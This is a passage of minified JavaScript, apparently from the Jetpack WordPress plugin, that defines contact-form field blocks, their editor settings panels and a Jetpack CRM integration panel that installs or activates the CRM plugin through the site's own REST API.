null===t.label?(0,o.getBlockType)(n).title:t.label},C=e=>t=>((0,k.mo)(t),(0,r.createElement)(p.Z,{clientId:t.clientId,type:e,label:_(t),required:t.attributes.required,requiredText:t.attributes.requiredText,setAttributes:t.setAttributes,isSelected:t.isSelected,defaultValue:t.attributes.defaultValue,placeholder:t.attributes.placeholder,id:t.attributes.id,width:t.attributes.width,attributes:t.attributes})),S=e=>t=>((0,k.mo)(t),(0,r.createElement)(g.Z,{clientId:t.clientId,label:_(t),required:t.attributes.required,requiredText:t.attributes.requiredText,options:t.attributes.options,setAttributes:t.setAttributes,type:e,isSelected:t.isSelected,id:t.attributes.id,width:t.attributes.width,attributes:t.attributes})),j=[{name:"field-text",settings:{...y,title:__("Text Input Field","jetpack"),description:__("Collect short text responses from site visitors.","jetpack"),icon:(0,d.Z)((0,r.createElement)(i.Path,{fill:(0,u.m)(),d:"M12 7H4V8.5H12V7ZM19.75 17.25V10.75H4.25V17.25H19.75ZM5.75 15.75V12.25H18.25V15.75H5.75Z"})),edit:C("text"),attributes:{...y.attributes,label:{type:"string",default:"Text"}}}},{name:"field-name",settings:{...y,title:__("Name Field","jetpack"),description:__("Collect the site visitor’s name.","jetpack"),icon:(0,d.Z)((0,r.createElement)(i.Path,{fill:(0,u.m)(),d:"M8.25 11.5C9.63071 11.5 10.75 10.3807 10.75 9C10.75 7.61929 9.63071 6.5 8.25 6.5C6.86929 6.5 5.75 7.61929 5.75 9C5.75 10.3807 6.86929 11.5 8.25 11.5ZM8.25 10C8.80228 10 9.25 9.55228 9.25 9C9.25 8.44772 8.80228 8 8.25 8C7.69772 8 7.25 8.44772 7.25 9C7.25 9.55228 7.69772 10 8.25 10ZM13 15.5V17.5H11.5V15.5C11.5 14.8096 10.9404 14.25 10.25 14.25H6.25C5.55964 14.25 5 14.8096 5 15.5V17.5H3.5V15.5C3.5 13.9812 4.73122 12.75 6.25 12.75H10.25C11.7688 12.75 13 13.9812 13 15.5ZM20.5 11H14.5V9.5H20.5V11ZM20.5 14.5H14.5V13H20.5V14.5Z"})),edit:C("text"),attributes:{...y.attributes,label:{type:"string",default:"Name"}}}},{name:"field-email",settings:{...y,title:__("Email Field","jetpack"),keywords:[__("e-mail","jetpack"),__("mail","jetpack"),"email"],description:__("Collect email addresses from your visitors.","jetpack"),icon:(0,d.Z)((0,r.createElement)(i.Path,{fill:(0,u.m)(),fillRule:"evenodd",d:"M5.5 8.41665V16C5.5 16.2761 5.72386 16.5 6 16.5H18C18.2761 16.5 18.5 16.2761 18.5 16V8.41633L11.9998 13.9879L5.5 8.41665ZM17.2642 7.5H6.73546L11.9998 12.0123L17.2642 7.5ZM6 6C4.89543 6 4 6.89543 4 8V16C4 17.1046 4.89543 18 6 18H18C19.1046 18 20 17.1046 20 16V8C20 6.89543 19.1046 6 18 6H6Z"})),edit:C("email"),attributes:{...y.attributes,label:{type:"string",default:"Email"}}}},{name:"field-url",settings:{...y,title:__("URL Field","jetpack"),keywords:["url",__("internet page","jetpack"),"link"],description:__("Collect a website address from your site visitors.","jetpack"),icon:(0,d.Z)((0,r.createElement)(s.Fragment,null,(0,r.createElement)(i.Path,{fill:(0,u.m)(),d:"M4.47118 8.5H3V12.9489C3 14.4653 4.14479 15.5 5.94723 15.5C7.74479 15.5 8.88958 14.4653 8.88958 12.9489V8.5H7.4184V12.8059C7.4184 13.688 6.88742 14.265 5.94723 14.265C5.00216 14.265 4.47118 13.688 4.47118 12.8059V8.5Z"}),(0,r.createElement)(i.Path,{fill:(0,u.m)(),d:"M11.5348 9.62534H12.7867C13.5175 9.62534 13.9754 10.0545 13.9754 10.7221C13.9754 11.404 13.5418 11.8188 12.8014 11.8188H11.5348V9.62534ZM11.5348 12.8631H12.7137L14.0241 15.3808H15.6901L14.2092 12.6485C15.0179 12.3386 15.4855 11.5756 15.4855 10.6935C15.4855 9.33447 14.5599 8.5 12.9426 8.5H10.0636V15.3808H11.5348V12.8631Z"}),(0,r.createElement)(i.Path,{fill:(0,u.m)(),d:"M21 14.1887H17.9261V8.5H16.4549V15.3808H21V14.1887Z"}))),edit:C("url"),attributes:{...y.attributes,label:{type:"string",default:"URL"}}}},{name:"field-date",settings:{...y,title:__("Date Picker","jetpack"),keywords:[__("Calendar","jetpack"),_x("day month year","block search term","jetpack")],description:__("Capture date information with a date picker.","jetpack"),icon:(0,d.Z)((0,r.createElement)(i.Path,{fill:(0,u.m)(),fillRule:"evenodd",d:"M4.5 7H19.5V19C19.5 19.2761 19.2761 19.5 19 19.5H5C4.72386 19.5 4.5 19.2761 4.5 19V7ZM3 5V7V19C3 20.1046 3.89543 21 5 21H19C20.1046 21 21 20.1046 21 19V7V5C21 3.89543 20.1046 3 19 3H5C3.89543 3 3 3.89543 3 5ZM11 9.25H7V13.25H11V9.25Z"})),edit:C("text"),attributes:{...y.attributes,label:{type:"string",default:"Date"}}}},{name:"field-telephone",settings:{...y,title:__("Phone Number Field","jetpack"),keywords:[__("Phone","jetpack"),__("Cellular phone","jetpack"),__("Mobile","jetpack")],description:__("Collect phone numbers from site visitors.","jetpack"),icon:(0,d.Z)((0,r.createElement)(i.Path,{fill:(0,u.m)(),fillRule:"evenodd",d:"M9 5.5H15C15.2761 5.5 15.5 5.72386 15.5 6V18C15.5 18.2761 15.2761 18.5 15 18.5H9C8.72386 18.5 8.5 18.2761 8.5 18V6C8.5 5.72386 8.72386 5.5 9 5.5ZM7 6C7 4.89543 7.89543 4 9 4H15C16.1046 4 17 4.89543 17 6V18C17 19.1046 16.1046 20 15 20H9C7.89543 20 7 19.1046 7 18V6ZM13 16H11V17.5H13V16Z"})),edit:C("tel"),attributes:{...y.attributes,label:{type:"string",default:"Phone"}}}},{name:"field-textarea",settings:{...y,title:__("Multi-line Text Field","jetpack"),keywords:[__("Textarea","jetpack"),"textarea",__("Multiline text","jetpack")],description:__("Capture longform text responses from site visitors.","jetpack"),icon:(0,d.Z)((0,r.createElement)(i.Path,{fill:(0,u.m)(),d:"M20 5H4V6.5H20V5ZM5.5 11.5H18.5V18.5H5.5V11.5ZM20 20V10H4V20H20Z"})),edit:e=>((0,k.mo)(e),(0,r.createElement)(v.Z,{clientId:e.clientId,label:e.attributes.label,required:e.attributes.required,requiredText:e.attributes.requiredText,attributes:e.attributes,setAttributes:e.setAttributes,isSelected:e.isSelected,defaultValue:e.attributes.defaultValue,placeholder:e.attributes.placeholder,id:e.attributes.id,width:e.attributes.width})),attributes:{...y.attributes}}},{name:"field-checkbox",settings:{...y,title:__("Checkbox","jetpack"),keywords:[__("Confirm","jetpack"),__("Accept","jetpack")],description:__("Confirm or select information with a single checkbox.","jetpack"),icon:(0,d.Z)((0,r.createElement)(i.Path,{fill:(0,u.m)(),fillRule:"evenodd",d:"M6.125 6H17.875C17.944 6 18 6.05596 18 6.125V17.875C18 17.944 17.944 18 17.875 18H6.125C6.05596 18 6 17.944 6 17.875V6.125C6 6.05596 6.05596 6 6.125 6ZM4.5 6.125C4.5 5.22754 5.22754 4.5 6.125 4.5H17.875C18.7725 4.5 19.5 5.22754 19.5 6.125V17.875C19.5 18.7725 18.7725 19.5 17.875 19.5H6.125C5.22754 19.5 4.5 18.7725 4.5 17.875V6.125ZM10.5171 16.4421L16.5897 8.71335L15.4103 7.78662L10.4828 14.0579L8.57616 11.7698L7.42383 12.7301L10.5171 16.4421Z"})),edit:e=>((0,k.mo)(e),(0,r.createElement)(m.Z,{clientId:e.clientId,label:e.attributes.label,required:e.attributes.required,requiredText:e.attributes.requiredText,setAttributes:e.setAttributes,isSelected:e.isSelected,defaultValue:e.attributes.defaultValue,id:e.attributes.id,width:e.attributes.width,attributes:e.attributes})),attributes:{...y.attributes,label:{type:"string",default:""}}}},{name:"field-consent",settings:{...y,title:__("Terms Consent","jetpack"),keywords:[__("Consent","jetpack")],description:__("Communicate site terms and offer visitors consent to those terms.","jetpack"),icon:(0,d.Z)((0,r.createElement)(s.Fragment,null,(0,r.createElement)(i.Path,{fill:(0,u.m)(),d:"M7 5.5H17C17.2761 5.5 17.5 5.72386 17.5 6V13H19V6C19 4.89543 18.1046 4 17 4H7C5.89543 4 5 4.89543 5 6V18C5 19.1046 5.89543 20 7 20H11.5V18.5H7C6.72386 18.5 6.5 18.2761 6.5 18V6C6.5 5.72386 6.72386 5.5 7 5.5ZM16 7.75H8V9.25H16V7.75ZM8 11H13V12.5H8V11Z"}),(0,r.createElement)(i.Path,{fill:(0,u.m)(),d:"M20.1087 15.9382L15.9826 21.6689L12.959 18.5194L14.0411 17.4806L15.8175 19.331L18.8914 15.0618L20.1087 15.9382Z"}))),attributes:{...y.attributes,label:{type:"string",default:__("Consent","jetpack")},consentType:{type:"string",default:"implicit"},implicitConsentMessage:{type:"string",default:__("By submitting your information, you're giving us permission to email you. You may unsubscribe at any time.","jetpack")},explicitConsentMessage:{type:"string",default:__("Can we send you an email from time to time?","jetpack")}},edit:e=>{let{attributes:t,clientId:n,isSelected:a,name:o,setAttributes:i}=e;(0,k.mo)({attributes:t,clientId:n,name:o});const{id:s,width:l,consentType:c,implicitConsentMessage:u,explicitConsentMessage:d}=t;return(0,r.createElement)(h.Z,{clientId:n,id:s,isSelected:a,width:l,consentType:c,implicitConsentMessage:u,explicitConsentMessage:d,setAttributes:i,attributes:t})}}},{name:"field-option-checkbox",settings:{...E,parent:["jetpack/field-checkbox-multiple"],title:__("Multiple Choice Option","jetpack"),icon:(0,d.Z)((0,r.createElement)(s.Fragment,null,(0,r.createElement)(i.Path,{d:"M5.5 10.5H8.5V13.5H5.5V10.5ZM8.5 9H5.5C4.67157 9 4 9.67157 4 10.5V13.5C4 14.3284 4.67157 15 5.5 15H8.5C9.32843 15 10 14.3284 10 13.5V10.5C10 9.67157 9.32843 9 8.5 9ZM12 12.75H20V11.25H12V12.75Z",fill:(0,u.m)()})))}},{name:"field-option-radio",settings:{...E,parent:["jetpack/field-radio"],title:__("Single Choice Option","jetpack"),icon:(0,d.Z)((0,r.createElement)(i.Path,{d:"M7.5 13.5C6.67157 13.5 6 12.8284 6 12C6 11.1716 6.67157 10.5 7.5 10.5C8.32843 10.5 9 11.1716 9 12C9 12.8284 8.32843 13.5 7.5 13.5ZM4.5 12C4.5 13.6569 5.84315 15 7.5 15C9.15685 15 10.5 13.6569 10.5 12C10.5 10.3431 9.15685 9 7.5 9C5.84315 9 4.5 10.3431 4.5 12ZM12.5 12.75H20.5V11.25H12.5V12.75Z",fill:(0,u.m)()}))}},{name:"field-checkbox-multiple",settings:{...y,title:__("Multiple Choice (Checkbox)","jetpack"),keywords:[__("Choose Multiple","jetpack"),__("Option","jetpack")],description:__("Offer users a list of choices, and allow them to select multiple options.","jetpack"),icon:(0,d.Z)((0,r.createElement)(i.Path,{fill:(0,u.m)(),d:"M7.0812 10.1419L10.6001 5.45005L9.40006 4.55005L6.91891 7.85824L5.53039 6.46972L4.46973 7.53038L7.0812 10.1419ZM12 8.5H20V7H12V8.5ZM12 17H20V15.5H12V17ZM8.5 14.5H5.5V17.5H8.5V14.5ZM5.5 13H8.5C9.32843 13 10 13.6716 10 14.5V17.5C10 18.3284 9.32843 19 8.5 19H5.5C4.67157 19 4 18.3284 4 17.5V14.5C4 13.6716 4.67157 13 5.5 13Z"})),edit:S("checkbox"),save:()=>(0,r.createElement)(a.InnerBlocks.Content,null),attributes:{...y.attributes,label:{type:"string",default:"Choose several options"}},deprecated:[w("checkbox")]}},{name:"field-radio",settings:{...y,title:__("Single Choice (Radio)","jetpack"),keywords:[__("Choose","jetpack"),__("Select","jetpack"),__("Option","jetpack")],description:__("Offer users a list of choices, and allow them to select a single option.","jetpack"),icon:(0,d.Z)((0,r.createElement)(s.Fragment,null,(0,r.createElement)(i.Path,{fill:(0,u.m)(),d:"M4 7.75C4 9.40685 5.34315 10.75 7 10.75C8.65685 10.75 10 9.40685 10 7.75C10 6.09315 8.65685 4.75 7 4.75C5.34315 4.75 4 6.09315 4 7.75ZM20 8.5H12V7H20V8.5ZM20 17H12V15.5H20V17ZM7 17.75C6.17157 17.75 5.5 17.0784 5.5 16.25C5.5 15.4216 6.17157 14.75 7 14.75C7.82843 14.75 8.5 15.4216 8.5 16.25C8.5 17.0784 7.82843 17.75 7 17.75ZM4 16.25C4 17.9069 5.34315 19.25 7 19.25C8.65685 19.25 10 17.9069 10 16.25C10 14.5931 8.65685 13.25 7 13.25C5.34315 13.25 4 14.5931 4 16.25Z"}))),edit:S("radio"),save:()=>(0,r.createElement)(a.InnerBlocks.Content,null),attributes:{...y.attributes,label:{type:"string",default:"Choose one option"}},deprecated:[w("radio")]}},{name:"field-select",settings:{...y,title:__("Dropdown Field","jetpack"),keywords:[__("Choose","jetpack"),__("Dropdown","jetpack"),__("Option","jetpack")],description:__("Add a compact select box, that when expanded, allows visitors to choose one value from the list.","jetpack"),icon:(0,d.Z)((0,r.createElement)(i.Path,{fill:(0,u.m)(),d:"M5 4.5H19C19.2761 4.5 19.5 4.72386 19.5 5V19C19.5 19.2761 19.2761 19.5 19 19.5H5C4.72386 19.5 4.5 19.2761 4.5 19V5C4.5 4.72386 4.72386 4.5 5 4.5ZM19 3H5C3.89543 3 3 3.89543 3 5V19C3 20.1046 3.89543 21 5 21H19C20.1046 21 21 20.1046 21 19V5C21 3.89543 20.1046 3 19 3ZM8.93582 10.1396L8.06396 11.3602L11.9999 14.1716L15.9358 11.3602L15.064 10.1396L11.9999 12.3283L8.93582 10.1396Z"})),edit:f.Z,attributes:{...y.attributes,toggleLabel:{type:"string",default:null},options:{type:"array",default:[""]}}}}]},39549:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736);const __=i.__;t.Z=e=>{let{error:t}=e;return(0,r.createElement)(a.Notice,{isDismissible:!1,status:"error"},(0,o.createInterpolateElement)(__('The CRM Jetpack Form extension failed to activate. The error message was "<error />".',"jetpack"),{error:(0,r.createElement)("span",null,t)}))}},57586:function(e,t,n){"use strict";var r=n(51806),a=n(86989),o=n.n(a),i=n(55609),s=n(65736),l=n(39549);const __=s.__,c=e=>{let{isActivatingExt:t,setIsActivatingExt:n,extActivationError:a,setExtActivationError:s,crmData:c,setCRMData:u}=e;const d=((e,t,n,r)=>()=>{t(void 0),e(!0),o()({path:"/jetpack/v4/jetpack_crm",method:"POST",data:{extension:"jetpackforms"}}).then((e=>{if("success"!==e.code)throw new Error(e.code);const t=Object.assign({},n);t.jp_form_ext_enabled=!0,r(t)})).catch((e=>{t(e.message)})).finally((()=>{e(!1)}))})(n,s,c,u);return t?(0,r.createElement)(i.Spinner,null):a?(0,r.createElement)(l.Z,{error:a}):(0,r.createElement)(i.Button,{variant:"secondary",onClick:d},__("Enable Jetpack Forms Extension","jetpack"))},u=()=>(0,r.createElement)("p",{className:"jetpack-contact-form__crm_text"},__("A site administrator must enable the CRM Jetpack Forms extension.","jetpack")),d=()=>(0,r.createElement)("p",{className:"jetpack-contact-form__crm_text"},__("You can integrate this contact form with Jetpack CRM by enabling Jetpack CRM's Jetpack Forms extension.","jetpack"));t.Z=e=>{let{isActivatingExt:t,setIsActivatingExt:n,extActivationError:a,setExtActivationError:o,crmData:i,setCRMData:s}=e;return i.can_activate_extension?(0,r.createElement)("div",null,(0,r.createElement)(d,null),(0,r.createElement)("br",null),(0,r.createElement)(c,{isActivatingExt:t,setIsActivatingExt:n,extActivationError:a,setExtActivationError:o,crmData:i,setCRMData:s})):(0,r.createElement)(u,null)}},87459:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(55589),l=n.n(s),c=n(45092),u=n(57586);const __=i.__,d=Object.freeze({ACTIVE:1,INSTALLED:2,NOT_INSTALLED:3}),p=()=>(0,r.createElement)("p",{className:"jetpack-contact-form__crm_text"},__("The Jetpack CRM plugin is installed but has an invalid version.","jetpack")),m=()=>(0,r.createElement)("p",{className:"jetpack-contact-form__crm_text"},__("Please update to the latest version of the Jetpack CRM plugin to integrate your contact form with your CRM.","jetpack")),h=e=>{let{isActivating:t}=e;const n=t?__("Activating…","jetpack"):__("Installing…","jetpack",0);return(0,r.createElement)(a.Button,{variant:"secondary",icon:(0,r.createElement)(a.Icon,{style:{animation:"rotation 2s infinite linear"},icon:"update"}),disabled:!0,"aria-label":n},n)},f=e=>{let{installAndActivateCRMPlugin:t,isInstalling:n}=e,o=(0,r.createElement)(a.Button,{variant:"secondary",onClick:t},__("Install Jetpack CRM","jetpack"));return n&&(o=(0,r.createElement)(h,null)),(0,r.createElement)("p",{className:"jetpack-contact-form__crm_text jetpack-contact-form__integration-panel"},(0,r.createElement)("em",{style:{color:"rgba(38, 46, 57, 0.7)"}},__("You can save contacts from Jetpack contact forms in Jetpack CRM.","jetpack"),(0,r.createElement)("br",null),o))},g=e=>{let{activateCRMPlugin:t,isInstalling:n}=e;return(0,r.createElement)("p",{className:"jetpack-contact-form__crm_text jetpack-contact-form__integration-panel"},(0,r.createElement)("em",null,__("You already have the Jetpack CRM plugin installed, but it’s not activated.","jetpack")),(0,r.createElement)("br",null),n&&(0,r.createElement)(h,{isActivating:!0}),!n&&(0,r.createElement)(a.Button,{variant:"secondary",onClick:t},__("Activate the Jetpack CRM plugin","jetpack")))},b=e=>{let{crmData:t,setCRMData:n,jetpackCRM:i,setAttributes:s}=e;const[c,d]=(0,o.useState)(!1),[p,m]=(0,o.useState)(!1);return t.jp_form_ext_enabled?l().satisfies(l().coerce(t.crm_version),"3.0.19 - 4.0.0")?(0,r.createElement)("p",{className:"jetpack-contact-form__crm_text"},__("Contacts from this form will be stored in Jetpack CRM.","jetpack")):(0,r.createElement)(a.ToggleControl,{className:"jetpack-contact-form__crm_toggle",label:__("Jetpack CRM","jetpack"),checked:i,onChange:e=>s({jetpackCRM:e}),help:__("Store contact form submissions in your CRM.","jetpack")}):(0,r.createElement)(u.Z,{isActivatingExt:c,setIsActivatingExt:d,extActivationError:p,setExtActivationError:m,crmData:t,setCRMData:n})};t.Z=e=>{let{crmData:t,setCRMData:n,jetpackCRM:a,setAttributes:o,onCRMPluginClick:i,isInstalling:s}=e;const u=l().coerce(t.crm_version);if(t.crm_installed&&!u)return(0,r.createElement)(p,null);if(t.crm_installed&&l().lt(u,"4.9.1"))return(0,r.createElement)(m,null);let h=d.NOT_INSTALLED;return t.crm_active?h=d.ACTIVE:t.crm_installed&&(h=d.INSTALLED),(0,r.createElement)("div",{"aria-live":"polite"},d.ACTIVE===h&&(0,r.createElement)(b,{crmData:t,setCRMData:n,jetpackCRM:a,setAttributes:o}),d.INSTALLED===h&&(0,r.createElement)(g,{activateCRMPlugin:()=>i(c.bu,"zero-bs-crm/ZeroBSCRM"),isInstalling:s}),d.NOT_INSTALLED===h&&(0,r.createElement)(f,{installAndActivateCRMPlugin:()=>i(c.yX,"zero-bs-crm"),isInstalling:s}))}},38101:function(e,t,n){"use strict";var r=n(51806),a=n(86989),o=n.n(a),i=n(55609),s=n(69307),l=n(87459);const c=(e,t,n)=>{o()({path:"/jetpack/v4/jetpack_crm"}).then((n=>{if(n.error)throw n.message;e(!1),t(n)})).catch((()=>e(!0))).finally((()=>n(!1)))},u=e=>{let{jetpackCRM:t,setAttributes:n}=e;const[a,o]=(0,s.useState)(!0),[u,d]=(0,s.useState)(!1),[p,m]=(0,s.useState)(),[h,f]=(0,s.useState)(!1),g=(0,s.useCallback)(((e,t)=>{f(!0),e(t).catch((()=>{d(!0)})).finally((()=>{f(!1),o(!0),c(d,m,o)}))}),[f,d,o]);return(0,s.useEffect)((()=>{c(d,m,o)}),[]),a?(0,r.createElement)(i.Spinner,null):u?null:(0,r.createElement)(l.Z,{crmData:p,setCRMData:m,jetpackCRM:t,setAttributes:n,onCRMPluginClick:g,isInstalling:h})};t.Z=e=>{let{jetpackCRM:t,setAttributes:n}=e;return(0,r.createElement)(i.BaseControl,null,(0,r.createElement)(u,{jetpackCRM:t,setAttributes:n}))}},51084:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736),s=n(92384),l=n(56467),c=n(59809);const __=i.__;t.Z=e=>{let{emailAddress:t="",emailSubject:n="",instanceId:u,setAttributes:d,postAuthorEmail:p}=e;const[m,h]=(0,o.useState)(!1),f=e=>0!==(e=e.trim()).length&&(!s.validate(e)&&{email:e});return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(l.Z,null,__("Get incoming form responses sent to your email inbox:","jetpack")),(0,r.createElement)(a.TextControl,{"aria-describedby":`contact-form-${u}-email-${m&&m.length>0?"error":"help"}`,label:__("Email address to send to","jetpack"),placeholder:__("name@example.com","jetpack"),onKeyDown:e=>{"Enter"===event.key&&(e.preventDefault(),e.stopPropagation())},value:t,onBlur:e=>{if(0===e.target.value.length)return h(!1),void d({to:p});const t=e.target.value.split(",").map(f).filter(Boolean);t&&t.length&&h(t)},onChange:e=>{h(!1),d({to:e.trim()})},help:__("You can enter multiple email addresses separated by commas.","jetpack")}),(0,r.createElement)(c.Z,{isError:!0,id:`contact-form-${u}-email-error`},(()=>{if(m){if(1===m.length)return m[0]&&m[0].email?(0,i.sprintf)(/* translators: placeholder is an email address. */
__("%s is not a valid email address.","jetpack"),m[0].email):m[0];if(2===m.length)return(0,i.sprintf)(/* translators: placeholders are email addresses. */
__("%1$s and %2$s are not a valid email address.","jetpack"),m[0].email,m[1].email);const e=m.map((e=>e.email));return(0,i.sprintf)(/* translators: placeholder is a list of email addresses. */
__("%s are not a valid email address.","jetpack"),e.join(", "))}return null})()),(0,r.createElement)(a.TextControl,{label:__("Email subject line","jetpack"),value:n,placeholder:__("Enter a subject","jetpack"),onChange:e=>d({subject:e})}))}},55740:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(94333),s=n(65736),l=n(81334),c=n(98677),u=n(15642),d=n(50686),p=n(8e3),m=n(63537);const __=s.__;t.Z=(0,i.compose)((0,l.j)(["borderRadius","borderWidth","labelFontSize","fieldFontSize","lineHeight","labelLineHeight","inputColor","labelColor","fieldBackgroundColor","borderColor"]),i.withInstanceId)((function(e){const{id:t,instanceId:n,required:i,requiredText:s,label:l,setAttributes:h,width:f,defaultValue:g,attributes:b}=e,{blockStyle:v}=(0,m.g)(b);return(0,r.createElement)("div",{id:`jetpack-field-checkbox-${n}`,className:"jetpack-field jetpack-field-checkbox",style:v},(0,r.createElement)("input",{className:"jetpack-field-checkbox__checkbox",type:"checkbox",disabled:!0,checked:g}),(0,r.createElement)(u.Z,{required:i,requiredText:s,label:l,setAttributes:h,attributes:b}),(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(o.PanelBody,{title:__("Checkbox Settings","jetpack")},(0,r.createElement)(o.ToggleControl,{label:__("Checked by default","jetpack"),checked:g,onChange:e=>h({defaultValue:e?"true":""})}))),(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(o.PanelBody,{title:__("Manage Responses","jetpack")},(0,r.createElement)(p.Z,{isChildBlock:!0})),(0,r.createElement)(o.PanelBody,{title:__("Field Settings","jetpack")},(0,r.createElement)(o.ToggleControl,{label:__("Field is required","jetpack"),className:"jetpack-field-label__required",checked:i,onChange:e=>h({required:e}),help:__('You can edit the "required" label in the editor',"jetpack")}),(0,r.createElement)(d.Z,{setAttributes:h,width:f}),(0,r.createElement)(o.ToggleControl,{label:__("Sync fields style","jetpack"),checked:b.shareFieldAttributes,onChange:e=>h({shareFieldAttributes:e}),help:__("Disable to apply individual styling to this block","jetpack")})),(0,r.createElement)(a.PanelColorSettings,{title:__("Color","jetpack"),initialOpen:!1,colorSettings:[{value:b.labelColor,onChange:e=>h({labelColor:e}),label:__("Label Text","jetpack")}]}),(0,r.createElement)(o.PanelBody,{title:__("Label Styles","jetpack"),initialOpen:b.labelFontSize},(0,r.createElement)(a.FontSizePicker,{withSlider:!0,withReset:!0,size:"__unstable-large",__nextHasNoMarginBottom:!0,onChange:e=>h({labelFontSize:e}),value:b.labelFontSize}))),(0,r.createElement)(a.InspectorAdvancedControls,null,(0,r.createElement)(c.Z,{setAttributes:h,id:t})))}))},82150:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(94333),s=n(65736),l=n(81334),c=n(98677),u=n(15642),d=n(50686),p=n(8e3);const __=s.__;t.Z=(0,i.compose)((0,l.j)(["borderRadius","borderWidth","labelFontSize","fieldFontSize","lineHeight","labelLineHeight","inputColor","labelColor","fieldBackgroundColor","borderColor"]),i.withInstanceId)((e=>{var t;let{id:n,instanceId:i,width:l,consentType:m,implicitConsentMessage:h,explicitConsentMessage:f,setAttributes:g,attributes:b}=e;return(0,r.createElement)("div",{id:`jetpack-field-consent-${i}`,className:"jetpack-field jetpack-field-consent"},"explicit"===m&&(0,r.createElement)("input",{className:"jetpack-field-consent__checkbox",type:"checkbox",disabled:!0}),(0,r.createElement)(u.Z,{required:!1,label:null!==(t={implicit:h,explicit:f}[m])&&void 0!==t?t:"",attributes:b,setAttributes:g,labelFieldName:`${m}ConsentMessage`,placeholder:(0,s.sprintf)(/* translators: placeholder is a type of consent: implicit or explicit */
__("Add %s consent message…","jetpack"),m)}),(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(o.PanelBody,{title:__("Manage Responses","jetpack")},(0,r.createElement)(p.Z,{isChildBlock:!0})),(0,r.createElement)(o.PanelBody,{title:__("Field Settings","jetpack")},(0,r.createElement)(d.Z,{setAttributes:g,width:l}),(0,r.createElement)(o.ToggleControl,{label:__("Sync fields style","jetpack"),checked:b.shareFieldAttributes,onChange:e=>g({shareFieldAttributes:e}),help:__("Disable to apply individual styling to this block","jetpack")})),(0,r.createElement)(a.PanelColorSettings,{title:__("Color","jetpack"),initialOpen:!1,colorSettings:[{value:b.labelColor,onChange:e=>g({labelColor:e}),label:__("Label Text","jetpack")}]})),(0,r.createElement)(a.InspectorAdvancedControls,null,(0,r.createElement)(c.Z,{setAttributes:g,id:n})),(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(o.PanelBody,{title:__("Consent Settings","jetpack")},(0,r.createElement)(o.BaseControl,null,(0,r.createElement)(o.SelectControl,{label:__("Permission to email","jetpack"),value:m,options:[{label:__("Mention that you can email","jetpack"),value:"implicit"},{label:__("Add a privacy checkbox","jetpack"),value:"explicit"}],onChange:e=>g({consentType:e})})))))}))},26588:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(65736),s=n(36598),l=n(98677),c=n(50686),u=n(8e3);const __=i.__;t.Z=e=>{let{attributes:t,id:n,placeholder:i,placeholderField:d="placeholder",hidePlaceholder:p,required:m,setAttributes:h,width:f}=e;const g=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:parseInt;return n=>{const r=t(n,10);h({[e]:isNaN(r)?"":r})}},b=[{value:t.labelColor,onChange:e=>h({labelColor:e}),label:__("Label Text","jetpack")},{value:t.inputColor,onChange:e=>h({inputColor:e}),label:__("Field Text","jetpack")},{value:t.fieldBackgroundColor,onChange:e=>h({fieldBackgroundColor:e}),label:__("Field Background","jetpack")},{value:t.borderColor,onChange:e=>h({borderColor:e}),label:__("Border","jetpack")}];return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(a.BlockControls,null,(0,r.createElement)(o.ToolbarGroup,null,(0,r.createElement)(o.ToolbarButton,{title:__("Required","jetpack"),icon:(0,s.Z)((0,r.createElement)(o.Path,{d:"M8.23118 8L16 16M8 16L15.7688 8 M6.5054 11.893L17.6567 11.9415M12.0585 17.6563L12 6.5",stroke:"currentColor"})),onClick:()=>{h({required:!m})},className:m?"is-pressed":void 0}))),(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(o.PanelBody,{title:__("Manage Responses","jetpack")},(0,r.createElement)(u.Z,{isChildBlock:!0})),(0,r.createElement)(o.PanelBody,{title:__("Field Settings","jetpack")},(0,r.createElement)(o.ToggleControl,{label:__("Field is required","jetpack"),className:"jetpack-field-label__required",checked:m,onChange:e=>h({required:e}),help:__('You can edit the "required" label in the editor',"jetpack")}),!p&&(0,r.createElement)(o.TextControl,{label:__("Placeholder text","jetpack"),value:i||"",onChange:e=>h({[d]:e}),help:__("Show visitors an example of the type of content expected. Otherwise, leave blank.","jetpack")}),(0,r.createElement)(c.Z,{setAttributes:h,width:f}),(0,r.createElement)(o.ToggleControl,{label:__("Sync fields style","jetpack"),checked:t.shareFieldAttributes,onChange:e=>h({shareFieldAttributes:e}),help:__("Disable to apply individual styling to this block","jetpack")})),(0,r.createElement)(a.PanelColorSettings,{title:__("Color","jetpack"),initialOpen:!1,colorSettings:b}),(0,r.createElement)(o.PanelBody,{title:__("Input Field Styles","jetpack"),initialOpen:!1},(0,r.createElement)(o.BaseControl,null,(0,r.createElement)(a.FontSizePicker,{withReset:!0,size:"__unstable-large",__nextHasNoMarginBottom:!0,onChange:e=>h({fieldFontSize:e}),value:t.fieldFontSize})),(0,r.createElement)(o.BaseControl,null,(0,r.createElement)(a.LineHeightControl,{__nextHasNoMarginBottom:!0,__unstableInputWidth:"100%",value:t.lineHeight,onChange:g("lineHeight",parseFloat),size:"__unstable-large"})),(0,r.createElement)(o.RangeControl,{label:__("Border Width","jetpack"),value:t.borderWidth,initialPosition:1,onChange:g("borderWidth"),min:0,max:100}),(0,r.createElement)(o.RangeControl,{label:__("Border Radius","jetpack"),value:t.borderRadius,initialPosition:0,onChange:g("borderRadius"),min:0,max:100})),(0,r.createElement)(o.PanelBody,{title:__("Label 